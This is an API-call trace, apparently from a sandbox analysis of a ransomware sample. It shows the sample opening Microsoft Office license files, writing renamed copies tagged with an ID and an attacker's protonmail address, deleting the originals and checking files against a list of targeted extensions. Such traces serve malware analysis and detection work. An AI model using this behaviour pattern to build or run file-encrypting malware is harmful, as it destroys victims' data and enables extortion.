	[0194.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.837] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.838] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.838] GetLastError () returned 0x0
	[0194.838] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0194.840] WriteFile (in: hFile=0x478, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0194.842] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.842] WriteFile (in: hFile=0x478, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x118, lpOverlapped=0x0) returned 1
	[0194.842] SetEndOfFile (hFile=0x478) returned 1
	[0194.842] CloseHandle (hObject=0x478) returned 1
	[0194.842] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.842] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.846] CloseHandle (hObject=0x5dc) returned 1
	[0194.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1
	[0194.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.847] lstrlenW (lpString=".doc") returned 4
	[0194.848] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString=".docx") returned 5
	[0194.848] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.848] lstrlenW (lpString=".pdf") returned 4
	[0194.848] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString=".xls") returned 4
	[0194.848] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString=".xlsx") returned 5
	[0194.848] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.848] lstrlenW (lpString=".ppt") returned 4
	[0194.848] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.848] lstrlenW (lpString=".zip") returned 4
	[0194.848] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString=".rar") returned 4
	[0194.848] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString=".bz2") returned 4
	[0194.848] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString=".7z") returned 3
	[0194.848] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.848] lstrlenW (lpString=".dbf") returned 4
	[0194.848] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.848] lstrlenW (lpString=".1cd") returned 4
	[0194.848] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.848] lstrlenW (lpString=".jpg") returned 4
	[0194.848] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.849] lstrlenW (lpString=".doc") returned 4
	[0194.849] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString=".docx") returned 5
	[0194.849] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.849] lstrlenW (lpString=".pdf") returned 4
	[0194.849] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString=".xls") returned 4
	[0194.849] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString=".xlsx") returned 5
	[0194.849] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.849] lstrlenW (lpString=".ppt") returned 4
	[0194.849] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.849] lstrlenW (lpString=".zip") returned 4
	[0194.849] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString=".rar") returned 4
	[0194.849] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString=".bz2") returned 4
	[0194.849] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString=".7z") returned 3
	[0194.849] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.849] lstrlenW (lpString=".dbf") returned 4
	[0194.849] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.849] lstrlenW (lpString=".1cd") returned 4
	[0194.849] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0194.850] lstrlenW (lpString=".jpg") returned 4
	[0194.850] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.850] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.850] lstrlenW (lpString="HomeBusinessR_Retail-ul-phn.xrm-ms") returned 34
	[0194.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.851] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=19954) returned 1
	[0194.851] CloseHandle (hObject=0x5dc) returned 1
	[0194.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0194.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.851] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.851] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.852] GetLastError () returned 0x0
	[0194.852] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x4df2, lpOverlapped=0x0) returned 1
	[0194.855] WriteFile (in: hFile=0x478, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0194.856] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.856] WriteFile (in: hFile=0x478, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x118, lpOverlapped=0x0) returned 1
	[0194.856] SetEndOfFile (hFile=0x478) returned 1
	[0194.856] CloseHandle (hObject=0x478) returned 1
	[0194.856] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.856] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.860] CloseHandle (hObject=0x5dc) returned 1
	[0194.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1
	[0194.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.861] lstrlenW (lpString=".doc") returned 4
	[0194.861] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.861] lstrlenW (lpString=".docx") returned 5
	[0194.861] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.861] lstrlenW (lpString=".pdf") returned 4
	[0194.861] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.861] lstrlenW (lpString=".xls") returned 4
	[0194.861] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.862] lstrlenW (lpString=".xlsx") returned 5
	[0194.862] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.862] lstrlenW (lpString=".ppt") returned 4
	[0194.862] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.862] lstrlenW (lpString=".zip") returned 4
	[0194.862] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.862] lstrlenW (lpString=".rar") returned 4
	[0194.862] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.862] lstrlenW (lpString=".bz2") returned 4
	[0194.862] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.862] lstrlenW (lpString=".7z") returned 3
	[0194.862] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.862] lstrlenW (lpString=".dbf") returned 4
	[0194.862] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.862] lstrlenW (lpString=".1cd") returned 4
	[0194.862] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.862] lstrlenW (lpString=".jpg") returned 4
	[0194.862] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.863] lstrlenW (lpString=".doc") returned 4
	[0194.863] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.863] lstrlenW (lpString=".docx") returned 5
	[0194.863] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.863] lstrlenW (lpString=".pdf") returned 4
	[0194.863] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.863] lstrlenW (lpString=".xls") returned 4
	[0194.863] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.863] lstrlenW (lpString=".xlsx") returned 5
	[0194.863] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.863] lstrlenW (lpString=".ppt") returned 4
	[0194.863] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.863] lstrlenW (lpString=".zip") returned 4
	[0194.863] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.863] lstrlenW (lpString=".rar") returned 4
	[0194.863] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.863] lstrlenW (lpString=".bz2") returned 4
	[0194.863] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.863] lstrlenW (lpString=".7z") returned 3
	[0194.863] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.864] lstrlenW (lpString=".dbf") returned 4
	[0194.864] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.864] lstrlenW (lpString=".1cd") returned 4
	[0194.864] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0194.864] lstrlenW (lpString=".jpg") returned 4
	[0194.864] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.864] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.864] lstrlenW (lpString="HomeBusinessR_Retail2-pl.xrm-ms") returned 31
	[0194.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.865] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10659) returned 1
	[0194.865] CloseHandle (hObject=0x5dc) returned 1
	[0194.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220
	[0194.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.866] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.866] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.866] GetLastError () returned 0x0
	[0194.866] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0194.868] WriteFile (in: hFile=0x478, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0194.870] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.870] WriteFile (in: hFile=0x478, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x112, lpOverlapped=0x0) returned 1
	[0194.870] SetEndOfFile (hFile=0x478) returned 1
	[0194.870] CloseHandle (hObject=0x478) returned 1
	[0194.870] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.870] SetEndOfFile (hFile=0x5dc) returned 1
	[0195.019] CloseHandle (hObject=0x5dc) returned 1
	[0195.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1
	[0195.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.020] lstrlenW (lpString=".doc") returned 4
	[0195.020] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.020] lstrlenW (lpString=".docx") returned 5
	[0195.020] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.020] lstrlenW (lpString=".pdf") returned 4
	[0195.020] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.020] lstrlenW (lpString=".xls") returned 4
	[0195.020] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.020] lstrlenW (lpString=".xlsx") returned 5
	[0195.020] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.020] lstrlenW (lpString=".ppt") returned 4
	[0195.020] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.021] lstrlenW (lpString=".zip") returned 4
	[0195.021] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString=".rar") returned 4
	[0195.021] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString=".bz2") returned 4
	[0195.021] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString=".7z") returned 3
	[0195.021] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.021] lstrlenW (lpString=".dbf") returned 4
	[0195.021] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.021] lstrlenW (lpString=".1cd") returned 4
	[0195.021] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.021] lstrlenW (lpString=".jpg") returned 4
	[0195.021] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.021] lstrlenW (lpString=".doc") returned 4
	[0195.021] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString=".docx") returned 5
	[0195.021] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.021] lstrlenW (lpString=".pdf") returned 4
	[0195.021] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString=".xls") returned 4
	[0195.021] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.021] lstrlenW (lpString=".xlsx") returned 5
	[0195.022] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.022] lstrlenW (lpString=".ppt") returned 4
	[0195.022] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.022] lstrlenW (lpString=".zip") returned 4
	[0195.022] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.022] lstrlenW (lpString=".rar") returned 4
	[0195.022] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.022] lstrlenW (lpString=".bz2") returned 4
	[0195.022] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.022] lstrlenW (lpString=".7z") returned 3
	[0195.022] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.022] lstrlenW (lpString=".dbf") returned 4
	[0195.022] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.022] lstrlenW (lpString=".1cd") returned 4
	[0195.022] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0195.022] lstrlenW (lpString=".jpg") returned 4
	[0195.022] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.022] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.022] lstrlenW (lpString="HomeBusinessR_Retail3-pl.xrm-ms") returned 31
